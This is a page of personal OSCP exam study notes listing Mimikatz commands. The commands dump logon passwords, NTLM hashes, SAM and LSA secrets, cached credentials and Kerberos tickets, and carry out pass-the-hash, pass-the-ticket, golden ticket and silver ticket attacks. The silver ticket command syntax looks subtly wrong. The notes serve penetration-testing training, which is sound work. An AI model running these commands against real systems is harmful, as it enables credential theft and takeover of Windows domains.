🐲
OSCP Notes
  • 🐲OSCP Notes
  • 🐲OSCP Methodology
  • 💡Misc
    • Metasploit
    • Antivirus Evasion
    • Password attacks
    • Reverse Shells
    • Port Forwarding, Tunneling and Pivoting
      • Local Port Forwarding
      • Remote Port Forwarding
      • Dynamic Port Forwarding
      • Lingolo-ng
    • Information Gathering
      • Passive Reconnaissance
        • Whois
        • Google Dorks
        • NetCraft
        • Git Repository
      • Active Reconnaissance
        • DNS Enumeration
        • Host Discovery
        • Port scanning
        • SMTP - 25
        • SNMP
  • Linux
    • Local Enumeration
    • Local Privileges Escalation
      • Scheduled tasks
      • Password Authentication
      • Monitor Processes
      • SetUID Binaries and Capabilities
      • Sudoers
      • Kernel Exploits
  • Windows
    • 🧠Mindmap
    • 🥝Mimikatz Basics
    • Enumeration
      • External Enumeration
      • Local Enumeration
      • Active Directory
        • PowerView
    • NTLM Hashes
    • Local Privilege Escalation
      • Service Binary Hijacking
      • Service DLL Hijacking
      • Unquoted Service Paths
      • Scheduled Tasks
      • Token impersonation
      • Backup Operators Group
    • Lateral Movement
      • WMI and WinRM
      • PsExec
      • Pass The Hash
      • Overpass The Hash
      • Pass The Ticket
      • DCOM
    • Persistence
      • Golden Ticket
      • Shadow Copy
    • Authentication Attacks
      • AS-REP Roasting
      • Kerberoasting
      • Password Spray
      • Silver Ticket
      • DC Sync
    • Client Side
    • NTLM Authentication
    • Kerberos Authentication
    • Cached Credentials
  • Web attacks
    • WordPress
    • SQL Injection (SQLi)
    • Command Injection
    • Directory Traversal
    • Local File Inclusion (LFI)
    • File Upload
Powered by GitBook
On this page
  • Basic Commands
  • Extracting Credentials
  • Oneliner
  • Get NTLM Hashes from LSASS:
  • Dump Kerberos Tickets
  • Dump Credential Manager
  • SAM Database
  • LSA Secrets
  • Cached Domain Credentials
  • Lateral Movement
  • Pass-the-Hash Attack
  • Pass The Ticket
  • Golden Ticket
  • Silver Ticket
  • Overpass-the-Hash
  1. Windows

Mimikatz Basics

Mimikatz is a powerful tool to extract plaintext credentials, hashes, and Kerberos tickets from memory. Typically run with Administrator or SYSTEM privileges, it’s vital for Windows privilege escalation and lateral movement.

Basic Commands

mimikatz.exe
privilege::debug
token::elevate

Extracting Credentials

Oneliner

.\mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"

Get NTLM Hashes from LSASS:

sekurlsa::logonpasswords

Dump Kerberos Tickets

sekurlsa::tickets /export

Dump Credential Manager

vault::cred

SAM Database

lsadump::sam

LSA Secrets 

lsadump::secrets

Cached Domain Credentials

lsadump::cache

Lateral Movement

Pass-the-Hash Attack

sekurlsa::pth /user:<username> /domain:<domain> /ntlm:<hash> /run:<command>

Pass The Ticket

kerberos::ptt <ticket.kirbi>

Golden Ticket

kerberos::golden /user:<username> /domain:<domain> /sid:<domain SID> /krbtgt:<krbtgt hash> /id:<RID> /target:<target FQDN> /renewmax:<duration> /ptt

Silver Ticket

kerberos::tgt::golden /user:<username> /domain:<domain> /sid:<domain SID> /service:<service> /target:<target FQDN> /rc4:<hash> /id:<RID> /ptt

Overpass-the-Hash

sekurlsa::pth /user:<username> /domain:<domain> /aes256:<AES key> /run:<command>
PreviousKernel ExploitsNextEnumeration

Last updated 6 months ago

🥝